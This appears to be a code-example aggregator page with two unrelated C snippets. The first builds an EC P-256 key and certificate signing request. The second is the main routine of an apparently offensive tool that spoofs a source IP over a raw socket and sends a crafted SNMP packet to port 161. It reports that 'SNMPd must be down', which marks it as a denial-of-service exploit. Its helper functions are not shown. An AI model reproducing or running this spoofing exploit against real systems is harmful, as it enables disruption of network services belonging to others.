コード例 #1
0
ファイル: makeecreq.c プロジェクト: reschly/certgeneration
void makeecreq256(char* commonname)
{
	EC_KEY *key;
	EVP_PKEY *pkey;
	X509_REQ *req;
	FILE *out;

	key = EC_KEY_new_by_curve_name(NID_X9_62_prime256v1);
	EC_KEY_generate_key(key);
	EC_KEY_set_asn1_flag(key, OPENSSL_EC_NAMED_CURVE);
	pkey = EVP_PKEY_new();
	EVP_PKEY_set1_EC_KEY(pkey, key);

	req = makereq(pkey, commonname, EVP_sha256());

	out = fopen("ec256_req.pem", "w");
	if (out == NULL)
		exit(-1);
	PEM_write_X509_REQ(out, req);
	fclose(out);
	out = fopen("ec256_req_key.pem", "w");
	if (out == NULL)
		exit(-1);
	PEM_write_ECPrivateKey(out, key, NULL, NULL, 0, NULL, NULL);
	fclose(out);
}
コード例 #2
0
int main(int argc, char **argv)
{
 char *saddr,*daddr,*community;
 unsigned char *buf;
 int size;
 int sock;
 unsigned long lsaddr,ldaddr;
 int i;

 saddr = NULL;
 daddr = NULL;
 if (argc != 7) { usage(); erexit("not enough args\n"); }

 if (!strcmp(argv[1],"-s"))
   saddr = strdup(argv[2]);
 if (!strcmp(argv[3],"-d"))
   daddr = strdup(argv[4]);
 if (!strcmp(argv[5],"-c"))
   community = strdup(argv[6]);

 printf("Ok, spoofing packets from %s to %s\n",saddr,daddr);

 if (inet_addr(saddr) == -1 || inet_addr(daddr) == -1)
   erexit("Invalid source/destination IP address\n");

 if (saddr == NULL) { usage(); erexit("No Source Address"); }
 if (daddr == NULL) { usage(); erexit("No Dest Address"); }

 sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
 if (sock == -1)
   erexit("Couldnt open Raw socket!(Are you root?)\n");

 lsaddr = inet_addr(saddr);
 ldaddr = inet_addr(daddr);

 buf = makereq(community,&size);

 sendudp(sock,&lsaddr,&ldaddr,32788,161,buf,size);
 fprintf(stdout,"Sent packet. SNMPd must be down.\n");
 return 0;

}